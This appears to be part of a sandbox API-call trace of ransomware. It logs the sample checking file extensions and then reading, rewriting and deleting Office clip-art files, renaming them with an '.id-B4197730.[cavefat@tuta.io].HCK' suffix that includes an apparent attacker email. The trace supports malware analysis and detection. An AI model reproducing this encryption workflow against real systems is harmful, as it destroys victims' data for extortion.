[0171.219] lstrlenW (lpString=".doc") returned 4 [0171.219] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.219] lstrlenW (lpString=".docx") returned 5 [0171.219] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0171.219] lstrlenW (lpString=".pdf") returned 4 [0171.219] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.219] lstrlenW (lpString=".xls") returned 4 [0171.219] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.219] lstrlenW (lpString=".xlsx") returned 5 [0171.219] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0171.219] lstrlenW (lpString=".ppt") returned 4 [0171.219] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234000.WMF") returned 68 [0171.219] lstrlenW (lpString=".zip") returned 4 [0171.219] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.219] lstrlenW (lpString=".rar") returned 4 [0171.219] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.219] lstrlenW (lpString=".bz2") returned 4 [0171.219] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.219] lstrlenW (lpString=".7z") returned 3 [0171.219] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234000.WMF") returned 68 [0171.219] lstrlenW (lpString=".dbf") returned 4 [0171.219] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234000.WMF") returned 68 [0171.219] lstrlenW (lpString=".1cd") returned 4 [0171.219] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234000.WMF") returned 68 [0171.219] lstrlenW (lpString=".jpg") returned 4 [0171.220] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234000.WMF") returned 68 [0171.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234000.WMF") returned 68 [0171.220] lstrlenW (lpString=".doc") returned 4 [0171.220] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.220] lstrlenW (lpString=".docx") returned 5 [0171.220] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0171.220] lstrlenW (lpString=".pdf") returned 4 [0171.220] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.220] lstrlenW (lpString=".xls") returned 4 [0171.220] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.220] lstrlenW (lpString=".xlsx") returned 5 [0171.220] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0171.220] lstrlenW (lpString=".ppt") returned 4 [0171.220] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234000.WMF") returned 68 [0171.220] lstrlenW (lpString=".zip") returned 4 [0171.220] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.220] lstrlenW (lpString=".rar") returned 4 [0171.220] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.220] lstrlenW (lpString=".bz2") returned 4 [0171.220] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.220] lstrlenW (lpString=".7z") returned 3 [0171.220] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234000.WMF") returned 68 [0171.220] lstrlenW (lpString=".dbf") returned 4 [0171.220] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234000.WMF") returned 68 [0171.220] lstrlenW (lpString=".1cd") returned 4 [0171.220] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234000.WMF") returned 68 [0171.220] lstrlenW (lpString=".jpg") returned 4 [0171.220] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.220] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.220] lstrlenW (lpString="J0237228.WMF") returned 12 [0171.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237228.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237228.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0171.227] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=22272) returned 1 [0171.227] CloseHandle (hObject=0x30c) returned 1 [0171.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237228.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237228.wmf")) returned 0x220 [0171.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237228.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237228.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237228.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237228.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0171.241] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.241] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237228.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237228.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0171.245] GetLastError () returned 0x0 [0171.245] ReadFile (in: hFile=0x388, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x5700, lpOverlapped=0x0) returned 1 [0171.250] WriteFile (in: hFile=0x364, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x5710, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x5710, lpOverlapped=0x0) returned 1 [0171.251] ReadFile (in: hFile=0x388, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.251] WriteFile (in: hFile=0x364, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.251] SetEndOfFile (hFile=0x364) returned 1 [0171.252] CloseHandle (hObject=0x364) returned 1 [0171.253] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.253] SetEndOfFile (hFile=0x388) returned 1 [0171.258] CloseHandle (hObject=0x388) returned 1 [0171.259] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237228.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.259] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237228.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237228.wmf")) returned 1 [0171.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237228.WMF") returned 68 [0171.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237228.WMF") returned 68 [0171.263] lstrlenW (lpString=".doc") returned 4 [0171.263] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.263] lstrlenW (lpString=".docx") returned 5 [0171.263] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0171.263] lstrlenW (lpString=".pdf") returned 4 [0171.263] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.263] lstrlenW (lpString=".xls") returned 4 [0171.263] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.263] lstrlenW (lpString=".xlsx") returned 5 [0171.263] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0171.263] lstrlenW (lpString=".ppt") returned 4 [0171.263] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237228.WMF") returned 68 [0171.263] lstrlenW (lpString=".zip") returned 4 [0171.263] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.263] lstrlenW (lpString=".rar") returned 4 [0171.263] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.263] lstrlenW (lpString=".bz2") returned 4 [0171.263] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.263] lstrlenW (lpString=".7z") returned 3 [0171.263] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237228.WMF") returned 68 [0171.263] lstrlenW (lpString=".dbf") returned 4 [0171.263] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237228.WMF") returned 68 [0171.263] lstrlenW (lpString=".1cd") returned 4 [0171.263] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237228.WMF") returned 68 [0171.263] lstrlenW (lpString=".jpg") returned 4 [0171.263] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237228.WMF") returned 68 [0171.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237228.WMF") returned 68 [0171.263] lstrlenW (lpString=".doc") returned 4 [0171.263] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.263] lstrlenW (lpString=".docx") returned 5 [0171.263] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0171.263] lstrlenW (lpString=".pdf") returned 4 [0171.263] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.263] lstrlenW (lpString=".xls") returned 4 [0171.263] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.264] lstrlenW (lpString=".xlsx") returned 5 [0171.264] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0171.264] lstrlenW (lpString=".ppt") returned 4 [0171.264] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237228.WMF") returned 68 [0171.264] lstrlenW (lpString=".zip") returned 4 [0171.264] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.264] lstrlenW (lpString=".rar") returned 4 [0171.264] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.264] lstrlenW (lpString=".bz2") returned 4 [0171.264] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.264] lstrlenW (lpString=".7z") returned 3 [0171.264] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237228.WMF") returned 68 [0171.264] lstrlenW (lpString=".dbf") returned 4 [0171.264] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237228.WMF") returned 68 [0171.264] lstrlenW (lpString=".1cd") returned 4 [0171.264] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237228.WMF") returned 68 [0171.264] lstrlenW (lpString=".jpg") returned 4 [0171.264] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.264] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.264] lstrlenW (lpString="J0238927.WMF") returned 12 [0171.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238927.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0238927.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0171.270] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=4916) returned 1 [0171.270] CloseHandle (hObject=0x39c) returned 1 [0171.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238927.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0238927.wmf")) returned 0x220 [0171.278] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238927.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0238927.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238927.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0238927.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0171.285] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.285] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238927.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0238927.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0171.289] GetLastError () returned 0x0 [0171.289] ReadFile (in: hFile=0x364, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1334, lpOverlapped=0x0) returned 1 [0171.291] WriteFile (in: hFile=0x374, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1340, lpOverlapped=0x0) returned 1 [0171.291] ReadFile (in: hFile=0x364, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.291] WriteFile (in: hFile=0x374, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.292] SetEndOfFile (hFile=0x374) returned 1 [0171.293] CloseHandle (hObject=0x374) returned 1 [0171.293] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.293] SetEndOfFile (hFile=0x364) returned 1 [0171.300] CloseHandle (hObject=0x364) returned 1 [0171.300] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238927.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.300] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238927.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0238927.wmf")) returned 1 [0171.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238927.WMF") returned 68 [0171.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238927.WMF") returned 68 [0171.303] lstrlenW (lpString=".doc") returned 4 [0171.303] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.303] lstrlenW (lpString=".docx") returned 5 [0171.303] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0171.303] lstrlenW (lpString=".pdf") returned 4 [0171.303] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.303] lstrlenW (lpString=".xls") returned 4 [0171.303] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.303] lstrlenW (lpString=".xlsx") returned 5 [0171.303] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0171.303] lstrlenW (lpString=".ppt") returned 4 [0171.303] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238927.WMF") returned 68 [0171.303] lstrlenW (lpString=".zip") returned 4 [0171.303] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.303] lstrlenW (lpString=".rar") returned 4 [0171.303] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.304] lstrlenW (lpString=".bz2") returned 4 [0171.304] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.304] lstrlenW (lpString=".7z") returned 3 [0171.304] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238927.WMF") returned 68 [0171.304] lstrlenW (lpString=".dbf") returned 4 [0171.304] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238927.WMF") returned 68 [0171.304] lstrlenW (lpString=".1cd") returned 4 [0171.304] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238927.WMF") returned 68 [0171.304] lstrlenW (lpString=".jpg") returned 4 [0171.304] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238927.WMF") returned 68 [0171.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238927.WMF") returned 68 [0171.304] lstrlenW (lpString=".doc") returned 4 [0171.304] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.304] lstrlenW (lpString=".docx") returned 5 [0171.304] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0171.304] lstrlenW (lpString=".pdf") returned 4 [0171.304] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.304] lstrlenW (lpString=".xls") returned 4 [0171.304] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.304] lstrlenW (lpString=".xlsx") returned 5 [0171.304] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0171.304] lstrlenW (lpString=".ppt") returned 4 [0171.304] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238927.WMF") returned 68 [0171.304] lstrlenW (lpString=".zip") returned 4 [0171.304] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.304] lstrlenW (lpString=".rar") returned 4 [0171.304] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.304] lstrlenW (lpString=".bz2") returned 4 [0171.304] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.304] lstrlenW (lpString=".7z") returned 3 [0171.304] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238927.WMF") returned 68 [0171.304] lstrlenW (lpString=".dbf") returned 4 [0171.304] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238927.WMF") returned 68 [0171.304] lstrlenW (lpString=".1cd") returned 4 [0171.304] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238927.WMF") returned 68 [0171.304] lstrlenW (lpString=".jpg") returned 4 [0171.304] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.304] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.305] lstrlenW (lpString="J0239063.WMF") returned 12 [0171.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239063.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239063.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0171.308] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=5884) returned 1 [0171.308] CloseHandle (hObject=0x370) returned 1 [0171.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239063.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239063.wmf")) returned 0x220 [0171.315] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239063.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239063.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239063.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239063.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0171.316] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.316] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239063.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239063.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0171.321] GetLastError () returned 0x0 [0171.321] ReadFile (in: hFile=0x364, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x16fc, lpOverlapped=0x0) returned 1 [0171.325] WriteFile (in: hFile=0x30c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1700, lpOverlapped=0x0) returned 1 [0171.325] ReadFile (in: hFile=0x364, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.325] WriteFile (in: hFile=0x30c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.325] SetEndOfFile (hFile=0x30c) returned 1 [0171.327] CloseHandle (hObject=0x30c) returned 1 [0171.328] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.328] SetEndOfFile (hFile=0x364) returned 1 [0171.330] CloseHandle (hObject=0x364) returned 1 [0171.330] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239063.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.330] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239063.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239063.wmf")) returned 1 [0171.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239063.WMF") returned 68 [0171.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239063.WMF") returned 68 [0171.331] lstrlenW (lpString=".doc") returned 4 [0171.331] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.332] lstrlenW (lpString=".docx") returned 5 [0171.332] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0171.332] lstrlenW (lpString=".pdf") returned 4 [0171.332] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.332] lstrlenW (lpString=".xls") returned 4 [0171.332] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.332] lstrlenW (lpString=".xlsx") returned 5 [0171.332] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0171.332] lstrlenW (lpString=".ppt") returned 4 [0171.332] lstrcmpiW (lpString1=".ppt", 